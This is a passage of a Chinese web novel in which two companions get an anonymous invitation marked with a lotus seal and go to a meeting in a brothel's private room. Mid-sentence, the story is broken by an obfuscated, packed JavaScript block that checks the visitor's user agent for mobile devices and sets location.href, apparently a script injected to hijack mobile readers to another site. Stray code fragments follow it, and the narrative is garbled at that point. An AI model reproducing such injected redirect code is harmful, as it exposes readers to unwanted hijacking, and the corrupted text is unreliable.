”
四目相对。
谢云辞胸中那颗共同的心脏,忽然跳动得快了一拍。
同生共死。
这四个字,在这一刻有了更重的分量。
“好。”谢云辞最终只说了一个字。
但这一字,已足够。
接下来的几天,日子过得平静无波。
江清砚每日读书温习,偶尔与李慕言、王璞交流学问。谢云辞则早出晚归,说是“访友”,实则是去六扇门协助查案,或是暗中监视那些有铜钱标记的地点。
赵炎没再出现,街角那两个“尾巴”也撤了,仿佛那日的风波从未发生。
但江清砚知道,平静只是表象。
第五日,黄昏时分,客栈小二送上来一封信。
信是素白信封,没有署名,只写着“江清砚亲启”。信封里有张洒金笺,上面只有一行字:
“酉时三刻,春风阁天字三号雅间,恭候大驾。”
落款是一个简单的图案——朵莲花。
都水司的印记。
江清砚将信递给谢云辞。谢云辞看后,眉头紧皱:“不能去。”
“必须去。”江清砚却道,“这是他们第一次正式接触。若不去,反而显得我们心虚。”
“太危险。”谢云辞沉声道,“春风阁那种地方,鱼龙混杂,若他们设下埋伏……”
“所以你要跟我一起去。”江清砚收起信笺,神色平静,“但你不能进雅间,得在附近接应。”
谢云辞盯着他看了半晌,最终妥协:“好。但若有危险,立刻发信号。”
他从怀中取出一个小巧的竹筒,只有手指粗细,筒
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16863493|191730||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
底有个机括:“拉开这个,会发出尖锐的哨声,三里内都能听见。我会立刻赶到。”
江清砚接过,小心收进袖中。
酉时初,两人换了衣服出门。江清砚依旧是一身月白直裰,谢云辞则换了身深蓝劲装,将匕首藏在靴筒里——春风阁那种地方,明着带兵器太扎眼。
春风阁在城南,是京城数一数二的青楼。三层朱楼,雕梁画栋,入夜后灯火通明,丝竹之声不绝于耳。门前车马如龙,来往的皆是锦衣华服的达官显贵、风流才子。
江清砚和谢云辞到时,正是华灯初上。两人刚下马车,就有龟公迎上来,满脸堆笑:“二位公子可有相熟的姑娘?”
“天字三号雅间。”江清砚淡淡道。
龟公脸色微变,上下打量他一番,笑容更盛:“原来是贵客,请随我来。”
他引着两人穿过大堂。堂内歌舞正酣,觥筹交错,脂粉香气混着酒气,熏得人头晕。不少宾客看到江清砚,都投来好奇的目光——这般清俊文弱的书生来青楼,本就少见,何况他还带着个明显是护卫的人。
上了三楼,环境清静了许多。走廊铺着厚厚的地毯,两侧雅间门扉紧闭,隐约能听到里面传出的琴声和谈笑声。
天字三号在走廊尽头。龟公在门前停下,躬身道:“公子请进,里面已有贵客等候。”
江清砚点头,推门而入。
雅间很大,布置清雅,不像青楼,倒像文人书房。墙上挂着